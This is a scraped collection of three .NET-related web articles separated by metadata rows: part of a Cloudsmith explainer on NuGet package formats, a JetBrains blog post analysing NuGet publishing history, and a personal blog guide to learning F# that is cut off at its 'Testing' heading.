Developers wanting to store or share this code with their team or others can simply publish their NuGet packages to a Public or Private NuGet repository. This also encourages developers to write code that is more reusable among teams, with libraries and dependencies that are well-defined. Why reinvent the wheel if you don’t have to?
NuGet Flavors: Communities & Tooling
Several distinct communities in the .NET ecosystem utilize the NuGet package format. Each of these communities has its own unique use case and tooling, along with its own “flavors” of NuGet package.
.NET Developer Community (C#)
Community: .NET Developers
Organization: .Net Foundation; Microsoft
Language of Choice: C# (with some F#, VB)
Tools of Choice: Visual Studio; NuGet CLI (nuget.exe)
Public Repository: NuGet Gallery
The .Net Developer Community largely uses C# as their programming language of choice (though F# and VB definitely have a presence here as well). With the move to .NET Core as a fully cross-platform and open-source framework, the community has garnered wider adoption and support on desktop, mobile, Cloud, and IoT operating systems.
This Community largely interacts with .NET via Visual Studio, the most popular IDE (Integrated Developer Environment) in this tech stack. Visual Studio offers .Net developers the ability to interact with their NuGet repositories via its graphical interface. In fact, the NuGet Gallery (hosted at nuget.org) already comes pre-configured as a package source. As of writing, the NuGet Gallery hosts almost 300,000 unique NuGet packages! Developers can add NuGet packages directly within their C# project and are then immediately given the ability to reference the libraries from that package in their code (with IntelliSense auto-suggestion).
How to install a NuGet package in Visual Studio
Watch the video below on how to install and use a NuGet Package with Visual Studio; courtesy of Microsoft:
Developers that prefer to create their own NuGet packages often choose to use the NuGet CLI (command-line interface; a.k.a. nuget.exe). The NuGet CLI allows users to install, create, publish, and manage packages without leaving their console. This also affords users the ability to interact programmatically with NuGet packages in their pipelines.
PowerShell Developer Community
Community: PowerShell Community
Organizations: PowerShell Community Slack / Discord; Microsoft
Language of Choice: PowerShell
Tools of Choice: PowerShell (pwsh), Windows PowerShell (powershell.exe)
Public Repository: PowerShell Gallery
PowerShell is a programming language, a scripting language, and a command-line shell all rolled into one! It has gained a great deal of popularity as a “glue language,” being a tool of choice in DevOps & Automation pipelines. All three major cloud vendors (AWS, Azure, GCP) support interaction with their platform via PowerShell modules and even include them in their SDK (Software Development Kit). Windows PowerShell comes installed by default on all Microsoft Windows operating systems. PowerShell (7+; a.k.a. pwsh.exe) is also available as a cross-platform open-source binary.
PowerShell developers utilize PowerShell modules as their unit of shareable and reusable code. PowerShell Modules contain functions and cmdlets (pronounced “commandlets”) that abstract away the need to do string manipulation.
For users interested in sharing and reusing code publicly, Microsoft hosts the PowerShell Gallery, with over 9,500 unique modules. In effect, PowerShell uses “nuget.exe” under the hood of its cmdlets that interact with NuGet repositories to create, upload, and download PowerShell modules wrapped in NuGet packages. The modules themselves are not kept in NuGet format once installed or imported; the NuGet packages are simply used as a conveyance mechanism.
Chocolatey Developer Community
Community: Chocolatey
Organization: Chocolatey Software
Language of Choice: Chocolatey CLI; PowerShell
Tools of Choice: Chocolatey CLI; Chocolatey GUI
Public Repository: Chocolatey Community Repository
Chocolatey is a Windows software management solution that was created by Rob Reynolds in 2011. It is a CLI tool (“choco.exe”) that allows users to package and install any kind of Windows software into a Chocolatey NuGet package. Chocolatey packages are a slightly different “flavor” of NuGet. They usually include binaries (EXE’s and MSI’s), along with instructions on how to install, upgrade, and uninstall these applications in the form of PowerShell scripts. The fact that users can bundle pretty much any kind of installer or PowerShell scripting in a reusable package format has solidified Chocolatey as one of the most versatile and ubiquitous choices for installing and managing software on Windows endpoints.
The Chocolatey Community Repository hosts over 9,000 community packages in the Chocolatey NuGet format, containing simple, scriptable, and silent installation methods for most popular Windows applications (e.g., 7Zip, Notepad++, Firefox, Chrome). Many of these packages are for open-source software as well, and almost all of them are contributed by community maintainers. This gives a System Administrator a quick and easy way to provision and patch a set of base applications on all their Windows endpoints. In addition, Chocolatey Software also offers Chocolatey for Business with a more advanced feature set for creating, updating, and monitoring the status of Chocolatey NuGet packages in an organization.
NuGet packages don’t always play nice together
As you can probably see from the above examples, NuGet packages can come in many “flavors,” with notably different compositions. Thus, it should come as no surprise that mixing and matching different formats is not supported or recommended.
For example, Pester, the testing framework for PowerShell, exists as a package on the NuGet Gallery, PowerShell Gallery, and Chocolatey Community Repository. However, you can’t “choco install” the NuGet Gallery package or use “Install-Module” in PowerShell to begin using it. The lack of interoperability between repositories and NuGet formats can often be the source of confusion.
To add another wrinkle, the NuGet Team deprecated NuGet V2 in favor of V3 on the NuGet Gallery (citing performance and scalability issues of NuGet V2 OData feeds and queries). This works fine as long as you’re only using Visual Studio or the NuGet CLI. However, both PowerShell and Chocolatey communities currently only support the NuGet V2 format for their NuGet package management.
Conclusion
Hopefully, this article has helped clear up some confusion on what NuGet is as a package format and how developers use NuGet packages in their .Net, C#, PowerShell, and Chocolatey code workflows.
If you or your organization are looking for a global, secure, cloud-native, and universal package repository solution to host Nuget packages along with 26+ other formats (including Docker containers), reach out to us here at Cloudsmith, and we’d love to understand your use case, and show how we can help.
If you’d rather try Cloudsmith for yourself first, we also offer a 14-day free trial, documentation, and videos to help you get started.
If you're intrigued to learn more about specific package formats, delve into our series below:
What is Conda
What is Helm
NuGet FAQs
Here is a quick roundup of the common NuGet questions we’ve come across.
What is NuGet in C#?
C# is the most popular programming language used by developers building software with the .NET Framework. NuGet is used to improve C# developer productivity since reusable units of code can be packaged in a NuGet format and shared among teams and the OSS community. Developers can add NuGet packages directly within their C# project and are then immediately given the ability to reference the libraries from that package in their code.
Are NuGet packages safe to use?
Should you be worried about the safety of NuGet packages? We live and breathe security here at Cloudsmith, and you should always be in control of your software supply chain. Real talk: you should be careful about any kind of package you download from public repositories, as detailed in our article discussing what developers and organizations want from a package repository. But a NuGet package is as secure as any other package format; you just need to do your due diligence to vet the sources of these packages appropriately.
What is a NuGet repository?
NuGet repositories (also known as NuGet feeds) are where you can upload and store your NuGet packages. At Cloudsmith, our package repositories are multi-format friendly, meaning you can store NuGet packages alongside other popular formats in the same repo, such as Docker images, Maven packages, and 24+ other formats too!
|
||||
8582
|
dbpedia
|
3
| 24
|
https://blog.jetbrains.com/dotnet/2020/11/09/diving-into-nuget-history-for-fun-and-community-insights/
|
en
|
Diving Into NuGet History For Fun and Community Insights
|
[
"https://blog.jetbrains.com/wp-content/uploads/2024/06/JETBRAINS-Blog.svg",
"https://blog.jetbrains.com/wp-content/uploads/2019/01/Frame-1321314548.svg",
"https://blog.jetbrains.com/wp-content/uploads/2023/01/62d2f4d9361a3cab-200x200.gif",
"https://blog.jetbrains.com/wp-content/uploads/2020/11/1-day-one.png",
"https://blog.jetbrains.com/wp-content/uploads/2020/11/2-published-today.png",
"https://blog.jetbrains.com/wp-content/uploads/2020/11/Screenshot-2020-11-05-at-13.13.07-2x.png",
"https://blog.jetbrains.com/wp-content/uploads/2020/11/Screenshot-2020-11-05-at-13.15.21-2x.png",
"https://blog.jetbrains.com/wp-content/uploads/2020/11/Screenshot-2020-11-05-at-13.22.59-2x.png",
"https://blog.jetbrains.com/wp-content/uploads/2020/11/Screenshot-2020-11-05-at-13.35.40-2x.png",
"https://blog.jetbrains.com/wp-content/uploads/2020/11/Screenshot-2020-11-05-at-13.44.05-2x.png",
"https://blog.jetbrains.com/wp-content/uploads/2020/11/Screenshot-2020-11-05-at-13.47.50-2x.png",
"https://blog.jetbrains.com/wp-content/uploads/2020/11/Screenshot-2020-11-05-at-13.49.03-2x.png",
"https://blog.jetbrains.com/wp-content/uploads/2020/11/Screenshot-2020-11-05-at-13.52.35-2x.png",
"https://blog.jetbrains.com/wp-content/uploads/2020/11/Screenshot-2020-11-05-at-14.35.41-2x.png",
"https://blog.jetbrains.com/wp-content/uploads/2020/11/Screenshot-2020-11-05-at-14.00.43-2x.png",
"https://blog.jetbrains.com/wp-content/uploads/2020/11/Screenshot-2020-11-05-at-14.01.52-2x.png",
"https://blog.jetbrains.com/wp-content/uploads/2020/11/Screenshot-2020-11-05-at-14.12.50-2x.png",
"https://blog.jetbrains.com/wp-content/themes/jetbrains/assets/img/img-form.svg",
"https://blog.jetbrains.com/wp-content/uploads/2024/08/1280x720_4dotNet_social_share.png",
"https://blog.jetbrains.com/wp-content/uploads/2022/07/F34E0F9B-D3F0-4DD4-B7C7-B11AF3FC6D25-50x50.jpeg",
"https://blog.jetbrains.com/wp-content/uploads/2024/08/Featured_Blog_1280x720-2x-11.png",
"https://blog.jetbrains.com/wp-content/uploads/2022/07/F34E0F9B-D3F0-4DD4-B7C7-B11AF3FC6D25-50x50.jpeg",
"https://blog.jetbrains.com/wp-content/uploads/2024/08/Featured_Blog_1280x720-2x-10.png",
"https://blog.jetbrains.com/wp-content/uploads/2022/07/F34E0F9B-D3F0-4DD4-B7C7-B11AF3FC6D25-50x50.jpeg",
"https://blog.jetbrains.com/wp-content/uploads/2024/08/unreal-debugging-improvements-in-rider-20242-featured.png",
"https://secure.gravatar.com/avatar/e29361f2b498fb2231dca801f0e8f4e3?s=50&r=g"
] |
[] |
[] |
[
""
] | null |
[
"Sasha Ivanova",
"Matt Ellis"
] |
2020-11-09T00:00:00
|
In the dark ages of .NET, developers had to crawl the internet for dependencies, run installers, create bloated lib folders, and possibly introduce assemblies into the Global Assembly Cache. Gross! Th
|
en
|
https://blog.jetbrains.com/wp-content/themes/jetbrains/assets/img/favicons/favicon.ico
|
The JetBrains Blog
|
https://blog.jetbrains.com/dotnet/2020/11/09/diving-into-nuget-history-for-fun-and-community-insights/
|
.NET Tools Community How-To's JetBrains
In the dark ages of .NET, developers had to crawl the internet for dependencies, run installers, create bloated lib folders, and possibly introduce assemblies into the Global Assembly Cache. Gross! Those who remember will agree it was terrible, but it’s better now!
We can all breathe a deep sigh of relief knowing that package management is central to most modern technology stacks, including our beloved .NET. Today, most developers instinctually reach to the catalog of packages on NuGet to solve mundane to difficult problems. That’s a good thing, but easy access to solutions also can lull us into taking our community for granted.
In this post, we’ll look at our .NET community’s history through the lens of NuGet data harvested using Maarten’s Azure Functions-based metadata crawler, which produced 2.7 million records and a 1.5GB comma-delimited text file. We loaded the data into Elasticsearch and utilized Kibana to make a dashboard, which you’ll see later in this post.
APIs, data points, and structure
As of writing this post, there is no way to get a singular database of NuGet information. Folks looking to recreate this post will need to crawl the NuGet APIs made available to everyone. Again, Maarten’s Azure Functions-based metadata crawler is a great place to start.
At first, retrieving the data had us worried. NuGet is a critical community infrastructure that everyone relies on working. Having multiple community members coordinate millions of API calls at the same time could damage NuGet’s ability to deliver responses to clients. That said, we were given the “unofficial” go-ahead by NuGet team members to use the APIs.
For our data, we only retrieved publishing information and not consumer information. For example, Amazon has published the AWSSDK.APIGateway package over 396 times since its first release. Amazon’s release cycle is tame in comparison to other libraries. Paket, a popular package manager client, has published its packages over 2,413 times!
While the NuGet API does expose download counts, it’s cumbersome to gather this data for all packages. There is an open GitHub issue about exposing download counts in an easy-to-consume manner, but given the already enormous breadth of information, we decided against download counts (for now).
The information we were able to retrieve for published packages includes: Package Id, Tags, Authors, Version, License, Publish Date, and Target Frameworks. Each record in our database is for a package version, helping us understand any particular package’s publishing frequency and lifespan.
Assumptions
We need to get a disclaimer out of the way before we start looking at information.
First, we’re making assumptions about folks appropriately tagging packages – likely a significant portion of publishers are not. Lack of tags could mean the results are incomplete. Additionally, while we can compute narrow slices based on tags, authors, and time frames, it gets harder to do larger wedges of data. The computation overwhelms the compute engine.
Additionally, this post is about data. We’ll try not to assume anything about the state of .NET, OSS, or any other conjectures.
So let’s get started by looking at some data.
Started from the bottom…
*If the dashboard images are too small, use the context menu to open the images in a new tab.
All great things have humble beginnings, and NuGet is no different. On January 7th, 2011, David Bryon published Agatha-rrsl to the NuGet registry. The first NuGet package, followed almost 1 second later by a flood of packages. On January 7th, 177 publish events, and publishers added 155 unique packages to the ecosystem.
Authors on that day include the Codeplex Foundation, Google, and Microsoft. Significant tags include aspnetwebpages, mvc, t4, and mocking. Seeing that ASP.NET MVC is one of the first projects to be open-sourced by Microsoft, it’s no surprise to see it amongst the first packages released.
Some folks may be wondering what sl3 and sl4 mean regarding target frameworks. Well, that’s Silverlight, the discontinued web version of .NET. Don’t worry though, many of the lessons learned from Silverlight found their way into .NET Core and .NET 5.
From those small yet significant beginnings, we now have 229,336+ unique packages on NuGet.
Now we’re here!
Let’s look at the publishing of unique packages from the last 30 days. We’ll see a clear pattern emerging as compared to the first day of NuGet packages.
The consistent pattern would likely be due to advances in continuous build and deployment processes. Products like TeamCity, AppVeyor, and GitHub Actions help developers ship consistently even for minor changes.
Looking at a complete picture of the last 30 days, we can see service providers have been busy pushing commercial packages to NuGet: Amazon, Google, Microsoft, Uno Platform, and Syncfusion. Amazon has an overwhelmingly large lead in the tag count, with aws being present over 3,000 times.
What’s also interesting here is the target frameworks tag cloud. The target framework netstandard2.1 looms large over other versions. While still present, the market share for legacy .NET is relatively smaller. We can see that net50 begins to appear as developers start to support the new version of .NET.
❤️ JetBrains loves OSS
It wouldn’t be any fun unless we looked at what JetBrains has done to support .NET OSS. For this section, let’s look exclusively at the jetbrains author, which does not include individual JetBrains employees’ contributions to the ecosystem.
JetBrains has contributed 44 unique packages to NuGet, with a primary focus around our .NET tools like ReSharper, dotMemory, and dotCover. We also ship .NET packages to support our other product offerings, such as YouTrack and TeamCity. What’s visible in the dashboard above is our unique versioning approach, which uses years to denote the current release. For example, you’ll see the version prefix 2020.*.* used frequently this year. What’s also amazing is that JetBrains has been part of the .NET OSS ecosystem for over eight years.
ASP.NET community
Next, we were curious, outside of Microsoft, who in our community contributes the most to the tags aspnet and aspnetcore. Here is where things get interesting, as we see our Asian friends contributing a good portion of the 2,890 packages to the ASP.NET ecosystem.
Developers in China make up 50% of the packages with the aspnet and aspnetcore tags. Chinese is likely an uncommon language for native English speaking developers, so these packages are less frequently used outside of China. These publishers are using the tag applicationframework heavily, which leads us to think many of these packages are part of a philosophical approach to building web applications.
One of the framworks we found in this data is China .NET, with an extensive set of documentation. This framework has all kinds of utilities tied in, such as an alternative for AutoMapper.
All this makes us wonder what other sub-cultures can be uncovered simply by looking at NuGet’s data?
Xamarin development
Xamarin is a cross-platform approach to building mobile applications targeting operating systems like iOS, Android, UWP, and many more. Let’s see what the search query of tags: xamarin* returns.
The mobile ecosystem is healthy and alive, with a head-spinning 6,393 packages. The trajectory of growth from 0 to over 3000 published packages in a given timeframe is impressive. Additionally, what’s different about mobile development is the support for varying target frameworks, which almost borders on the absurd.
Here’s the complete picture for the Xamarin community.
Not C-Sharp
It’s hard to argue against C# being the dominant language in the .NET ecosystem, but that’s not to say that F# and VB.NET developers don’t love and champion their languages. Let’s take a look at the two sibling languages and their contributions to NuGet. Let’s start with F#. We’ll filter our results using the tag fsharp.
What stands out immediately with the F# dashboard is its continued publishing momentum. This momentum is even more astounding, as it is driven mostly by community members, with Ryan Riley contributing a whopping 21.96% of unique packages.
In the last 30 days, the F# community has focused on releasing Fable and Fantomas. We recently invited core contributor Florian Verdonck to give a talk about Fantomas to JetBrains .NET Days attendees.
Well, what about VB.NET? Let’s filter by the tag of vb and vb.net and see what we get.
We can see that the Visual Basic packages come from software vendors like Evo PDF Software, HiQPDF software, and ComponentPro Software. Seeing VB.NET has a following in enterprise development circles, it makes sense to see more business-focused packages.
Licenses
The data we have is a little sparse when it comes to project licenses. The NuGet spec allows folks to set their license URL, which makes determining the precise value difficult. For this section, we relied on a keyword in the URL string itself, so take this data with a healthy dose of skepticism. For example, if the license URL contains MIT, we assume the project has chosen the MIT license.
Looking at the packages, we see that the MIT and Apache licenses are the most commonly specified. The Custom license could contain MIT, Apache, and BSD variants, but we chose not to follow the URLs to determine the exact values. We also see many publishers leave the license URL value empty altogether, which can be problematic for consumers trying to choose a legally-usable package.
Conclusion
We’ve just started to scratch the surface around the NuGet ecosystem. Sometimes trends are self-evident, and other times we need to have a starting point to query further. Like we mentioned at the start of this post, this information is publisher only, giving us an exciting yet admittedly incomplete picture of our community. What was most exciting to see is the broader .NET community’s sub-cultures, programming languages, platforms, and geography.
If you folks have any interesting questions you’d like to see answered by this data, please leave a comment below. If you see something in the information we missed, again, we’d love to hear from you. Thank you for reading, and please share this post and discuss it with your developer friends.
|
||||
8582
|
dbpedia
|
2
| 13
|
https://danielbachler.de/2020/12/23/what-i-wish-i-knew-when-learning-fsharp.html
|
en
|
What I wish I knew when learning F#
|
[] |
[] |
[] |
[
""
] | null |
[] |
2020-12-23T00:00:00
|
I’ve used F# a lot in the last 3 years and for quite some time I wanted to collect a few good starting points to venture into F# in one place. I also wanted ...
|
https://danielbachler.de/2020/12/23/what-i-wish-i-knew-when-learning-fsharp.html
|
I’ve used F# a lot in the last 3 years and for quite some time I wanted to collect a few good starting points to venture into F# in one place. I also wanted to collect some of those random things that I felt weren’t easily available anywhere because they fall through the cracks of the official language reference and library documentation. While writing this post I had two inspirations in my mind: Hillel Wayne’s post “Why Python is my Favorite Language” and Stephan Diel’s “What I Wish I Knew When Learning Haskell”. In the end I wound up collecting a high level view of the upsides and downsides of F#; a section about how to run/edit/debug F# code; and then a collection of small pieces of information that I think can easily confuse newcomers.
This will be a living document that I will try to updated regularly. It is also my personal perspective only - I may get things wrong or not know about some aspects or misrepresent certain projects. If you think I should change something or if you are a beginner and have run into obstacles that you think are worth adding then please let me know.
I’ll sacrifice some accuracy on the history of the language, details of the runtime etc for the sake of brevity If you are interested in a detailed history of F# then you will enjoy the document the early history of the F# language - I want to get a newcomer started quickly, not write an accurate history of the development of the language.
Ok, with all that out of the way, let’s dive in. I’ll roughly follow Hillel’s list of questions from “Why Python is my Favorite Language” as I think they capture many essential points very well when you look to working with a new language as an outsider.
Why would I want to use F#?
I like F# and could write a whole blog post just with reasons to use the language. My personal elevator pitch is something like this: F# is great general purpose language for writing code that prevents several kinds of bugs thanks to it’s great type system. It allows teams to stay productive as the code base grows because it emphasizes using functions and immutable data. It is a pragmatic language that steers you towards good design but provides all sorts of escape hatches if you need to optimize for performance etc. It can be used in a wide range of applications, from web frontends to backends to mobile applications to data science notebooks.
I want to go into a bit more detail than that though, so below I’ll highlight a few of the main arguments in favour of F#.
F# has a great type system with sum types (called Discriminated Unions in F#) and exhaustiveness checking that are notably missing from many other programming languages. This allows you to model data more accurately than with classes and simple enums alone and thus lets the compiler help you avoid a lot of common bugs. If you have never encountered them: think of them as enums on steroids because each case can have additional payload that can be different from case to case. When you use such a value you have to pattern match and then tell the compiler what do in each case and there you have the payload available. At the same time, because of full type inference the compiler can figure out the types of most values and functions which allows users to omit them which leads to less visual clutter than in C# or Java.
The main compilation target, the .NET Core Framework, is a rich runtime with great performance characteristics that runs on all major platforms. It used to be the case that Windows was the main platform and Linux/OSX where only supported by third party implementations but with .NET Core that is the main incarnation now this is no longer the case and Microsoft officially supports several OSs and processor architectures.
It can leverage the huge .NET ecosystem with libraries for many tasks e.g. a highly tuned HTTP server implementation. Because .NET is very commonly used in large enterprises, companies that invest in client libraries for multiple programming languages tend to have an implementation for .NET/C# (e.g. Google Cloud, AWS, …).
It is a “functional first” programming language that tries to guide you towards using functions and immutable data structures as your tool of choice. At the same time it is very pragmatic and allows you to write and consume object oriented code or libraries, use mutability for performance reasons etc. (F# is very close to OCaml and shares this approach with it)
The functional first approach and the support for Sum types and de-emphasis of Object Oriented code push you to architectural styles that IMHO allow for higher code complexity at lower cost and make it easier to deal with change requests. I say this as someone who has spent 13 years of their professional life as an OO proponent. Instead of worrying about questions of Is-A vs Has-A and the encapsulation of mutable state you work with functions and immutable data that compose and scale much better. This makes it great for writing complex software that can always be refactored and extended quickly.
It has a scripting mode where compilation is done on the fly. This makes it look and feel very similar to python but you still get type checking and much better performance. Tools like the FAKE build tool use this so the same language you use for writing your solution can also be used to automate building, publishing and deployment.
F# has a very powerful mechanism to create ergonomic workflow DSLs called Computation Expressions. Computation Expressions are similar to Haskells do notation but with interesting additions. In Haskell, the do syntactic sugar applies mainly to Monads and Applicatives. In a language like F# that has loops etc. it makes sense to allow more constructs to be customized in a similar way. If you have every used async/await in another programming language then you have seen a special case of a construct that can be expressed in a more general way with Computation Expressions (i.e. contrary to C#, Python etc. the async syntactic sugar in F# is not specially built for the async feature; instead, F# Computation Expressions let you write the implementation of the async syntactic sugar as normal user code). This let’s you write code that concentrates on specific problems while extracting the wiring (e.g. how errors are propagated) into the implementation of the computation expression.
It has a lot of powerful unusual features that are just fun to explore and often very useful - e.g. built in units of measure that track dimensions correctly across arithmetic operations and prevent errors that arise from confusing different physical units in code; or type providers that generate types from example data for you at compile time or within the IDE as you type.
It is also one of the few languages that can be used for both the (performant) implementation of server side code and client side Javascript with full access to the Javascript ecosystem. This allows sharing of implementation and types and makes teams much more productive in this common scenario.
Finally, it has a small but very friendly and helpful community that is very pragmatic. While you will find people who enjoy thinking about abstractions in software in themselves and how they relate to category theory, most people in the F# community just want to use their nice favorite language to build useful things.
Why would I not want to use F#?
I never trust articles that never mention any down sides - so here are some that I see for F#:
Both the .NET and the Javascript compilation targets (see below for more) are garbage collected. There is some support for memory pinning etc for FFI purposes but in general if you can’t afford GC F# is not for you.
The .NET ecosystem is dominated by C#, a language with exceptions, nulls and a heavy lean on classes with inheritance hierarchies as the main design tool. F# tries to favor Result values over Exceptions, makes it hard to create types that have null as a possible value and prefers functions, interfaces and simple algebraic data types over classes and inheritance. But because of C#’s dominance you do have to understand C# well enough to consume libraries and to translate some concepts.
If you mainly do machine learning then the library and ecosystem in Python is much more developed than that on .NET.
It has relatively weak metaprogramming capabilities and it doesn’t have higher kinded types. This means that there is a ceiling to the abstractions and terse-ness of your code vs something like Haskell. In practical terms this means e.g. that something like Haskell’s Aeson library that generates JSON serialization from types at compile time, or Rust’s Serde library can’t be built in F#. The dotnet framework does have runtime reflection so such features can be done by runtime type introspection but this comes at a performance penalty. F# has type providers that can help somewhat in this problem space but they are limited in what they can take as inputs (e.g. no F# types) and are somewhat fragile in how they interface with different compiler versions. If you know you’ll need strong metaprogramming capabilities then other languages might be a better choice.
If you need to hire a large number of engineers who know F# in a particular geographical location in a short period of time then this can be difficult. Because F# is a relatively niche language, both the job market and the applicant pool are comparatively small. As with many other functional programming languages though, both the jobs and the applicants you do find are usually very interesting and if you have some time F# is relatively quick to learn if you know a bit of functional programming.
If you work a lot with copy and paste from stackoverflow (I don’t want to diss this, there are many people who work on software for whom this is a very legitimate way). The number of examples for “how do I” for something like Python is a lot larger than that for F#; same with learning resources in general, although what exists is often very good - e.g. Scott Wlaschin’s fsharp for fun and profit is one of the best functional programming resources I know across all functional programming languages.
The documentation story in the F# and wider .NET ecosystem is not great, at least when compared with languages like Rust that provide tools for this and have a culture around high level documentation efforts. It is quite a bit better than the documentation level in languages like Haskell though.
There is also a section below on common gotchas in F# that you may want to consider as possible counter arguments for F# as well.
Where can I run F#? What are the prerequisites?
F# has three main compilation targets: The Windows only .NET Framework that exists since 2001; the modern, cross platform .NET Core Framework (also by Microsoft, sort of replacing Mono on OSX and *nix and being the new incarnation of .NET on Windows as well); and Javascript via the Fable Compiler project, which can then run in the Browser, on Node, on AWS Lambda etc..
The old .NET Framework comes pre-installed with Windows and only runs there. The current version as of 2020 is 4.8 and versions used to be updated occasionally with OS updates. The .NET Framework consists of a runtime part (CLR, Common Language Runtime) that includes a VM that JIT compiles Bytecode and runs it (much like the JVM in the Java ecosystem), and an optional SDK that includes the C# and F# compiler etc for development.
The new .NET Core Framework is similar and in many parts largely API compatible to the old .NET Framework but was built as a new open source, cross platform implementation of the non-Windows specific parts (i.e. what is missing from .NET Core is Windows GUI support and a few other parts of the standard library that don’t make much sense in a cross platform context). You need to install the runtime (CLR, see above) for the system you are running which includes the VM implementation. There are packages available for most major operating systems and processor architectures. Just like above, there is then a separate SDK with the compilers etc. As of late 2020, installing the .NET Core framework version 5 would be my recommended target framework if you don’t know what to use.
If you want to target Javascript you need a fork of the main F# compiler called Fable. This is using the same codebase as the official F# compiler that is shipped with the two SDKs above but has an alternative backend for code generation that instead of .NET Bytecode creates a Babel AST that is then serialized to Javascript using Babel (Fable 1+2) or Javascript directly (Fable 3). There is a relatively straightforward FFI to tell the F# compiler about functions and “types” of objects in Javascript so you can freely use any third party Javascript libraries. Fable comes with a definition of much of the Browser and Node APIs so you can use them directly when writing F# that targets Javascript and a significant part of the .NET Class library has been implemented with Javascript to allow idiomatic F# code to run in this alternate runtime environment (so you can e.g. use System.Console.WriteLine("Hello") from the .NET base class system instead of Fable.Import.Browser.console.log("Hello")). Fable works surprisingly well overall. There are a few gotchas because the F# compiler is built on the assumption of certain .NET base types (e.g. different truncation behaviour for what F# thinks are 32 bit integers as Javascript only has one number type other than the upcoming BigInt) - but it turns out that this is a very powerful and straightforward way of creating Javascript solutions.
How am I supposed to be writing this?
If you just want to get a quick feel for the language then the Try F# website is a good starting point that let’s you play with the language in the browser.
To actually work with your own codebases I know of five reasonably comfortable ways to develop F#: Visual Studio (both for Windows and OSX), Visual Studio Code with the Ionide plugin, Jetbrains Rider and finally the vim and emacs plugins that use the LSP protocol to talk to FsAutocomplete (the same backend that powers Ionide.). Myself and most of my colleages use VS Code with Ionide on Windows or OSX which usually work very well.
Unless you are familiar with and really want to use the old Visual Studio I would recommend downloading the dotnet core 5 sdk for your platform, getting an editor (e.g. VS Code + Ionide) and then creating a new folder and running dotnet new console -lang fsharp to get a scaffold for a console app and start playing with it there (dotnet run builds and immediately runs the project).
Debugging and the REPL
VS, VS Code and Rider all offer integrated debugging (step through, see values, break on exception etc). Call stacks in code using computation expressions can be a bit hard to parse because the wiring of the Bind implementation is interwoven with your own code but for most needs this is a pretty nice debugging experience; definitely better than with a lot of other statically typed functional programming languages.
There is a repl (dotnet fsi when you are on dotnet core 3+) and there is support for loading files with their dependencies into it or to use libraries in scripts and evaluate parts of that in the interactive repl of your editor. This experience is not as great as with Lisps but works ok (with .NET Core Version 5 the story for referencing third party packages got a lot better so if you tried the repl experience before and were disappointed it is worth checking it out again).
The standard library
The .NET Framework has a pretty extensive standard library that allows you to do a lot of everyday stuff (though not as extensive as python’s). Much of it was originally designed around 2000 with primarily the object oriented C# language in mind, so a lot of the standard library that you use (everything in the System. namespace) has a very OO feel. Over time various convenience features were added (e.g. for reading the content of a text file in one call) but some things are still surprising - e.g. until the DotNet core 3 version that came out late last year you had to use a third party library for (de)serializing Json (Newtonsoft.JSON was the go-to solution) while XML has been in the standard library since the beginning.
The standard library follows the idea to create a rough taxonomy of functionality by namespace that branches into more specific areas and then uses mostly classes that either have a few static methods or (usually) are instantiated and then you operate on them using methods. E.g. File related classes are grouped in the System.IO namespace, collection classes are in System.Collections etc.. (see below on some gotchas about the collection classes in the .NET standard library and F#’s own collections).
When using Fable (the F# compiler that outputs Javascript), some things around the standard library and packaging are a bit more involved - more on that below in the Fable section.
You can find additional libraries on nuget.org, use dotnet add package to add them to your project and use them.
Code formatting
Gofmt popularized the idea of using tools to format source code and many languages have since created similar tools. For F# the tool in question is Fantomas. It is included in FsAutocomplete, the backend for Ionide and so if you use VSCode and Ionide you don’t need to install it separately. The Fanotmas authors have created an online version of their tool that you can also use to inspect the F# AST and how it is turned into source code which is useful for reporting issues with the formatting.
Packaging
The packaging ecosystem story for both the old .NET Framework and .NET core is to use Nuget packages. These are just zipped archives that contain some metadata and dependency information and then the compiled artifacts called assemblies that contain the library code. Assemblies contain the compiled bytecode to be executed and a lot of metadata on the types so that types can be extended and consumed across language borders between different programming languages (the main ones are C# which is what most stuff is written in, F#, VB.NET, “managed C++” and then some other fringe languages like Nemerle). Fun fact - they have the file extension .dll and are actually win32 dlls that a windows 95 era tool would at least understand to some degree
The nuget packaging story is a bit flawed in that it doesn’t use lock files by default and doesn’t differentiate transitive dependencies. I thus strongly recommend using the alternative paket package manager for larger projects that lets you use nuget packages in a principled way (and is written in F# 😉). For smaller projects the default nuget is usually fine.
To find libraries you can search directly on nuget.org. If you google for stuff then it often helps to search in this order for “yourtopic fsharp” “yourtopic c#” or “yourtopic dotnet”. Idiomatic F# libraries are often a little nicer to use from F# (e.g. because the use immutable records instead of mutable classes) but you can use any dotnet library from f#. Try to use F# libraries first and otherwise sort by popularity as an initial heuristic when choosing libraries for tasks if multiple libraries exist. If you find F# type providers Type providers are a metaprogramming facility that operates sort of like a compiler plugin that looks at sample data to generate types. E.g. there is a type provider for CSV files that takes the path to a csv file alongside your source code which it then reads (at compile time or during the editor session) and generates a row type from the example csv file without you having to spell out the F# code for the type then they can be worth a try if you want to get somewhere quickly but they may be a maintenance burden in the long run for more complex projects.
Third party libraries don’t have a consistent documentation story unfortunately, so you usually go to the project site and follow the project readme to whatever official documentation the library has. Source code in C# and F# can be annotated with special comments (line comments with three instead of two slashes above the entity) that then get compiled into xml files that accompany assemblies - these files are used by editors to show help text on functions and classes on hover in your editor.
Publishing a library is pretty straightforward - dotnet pack packs the library into a nuget archive and after creating an account and setting up the api token, dotnet publish will push it to nuget. If you are using the Paket package manager then it gives you a similar command but it will handle dependency ranges in a less manual way. FAKE build scripts can automate building, testing and publishing of libraries all while using the full power of F# for writing your build scripts. Github actions now comes preinstalled with .NET Core so you can do all of this using Github Actions easily.
If you need to understand a third party NuGet package (e.g. because the documentation is lacking which for some smaller libraries in F# land can definitely be the case), then you have several options. If the project is open source then the easiest is usually to browse the source code there. Some packages use SourceLink, a way to upload debug symbols for libraries so that users of the library can use them by stepping into their source when debugging - not all editors can make use of them though. If the source code is not easily available then some editors come with .NET Bytecode decompilers (e.g. Visual Studio and Jetbrains Rider) and there also exist some standalone tools for that though most are Windows only (AvaloniaSpy is the main cross platform one I know of). I don’t know any tools that decompile to F# so if the library you are decompiling is not open source but authored in F# the resulting decompiled C# will look a bit odd - but that is a rare case since most .NET libraries are written in C# and the most common F# libraries are open source.
Testing
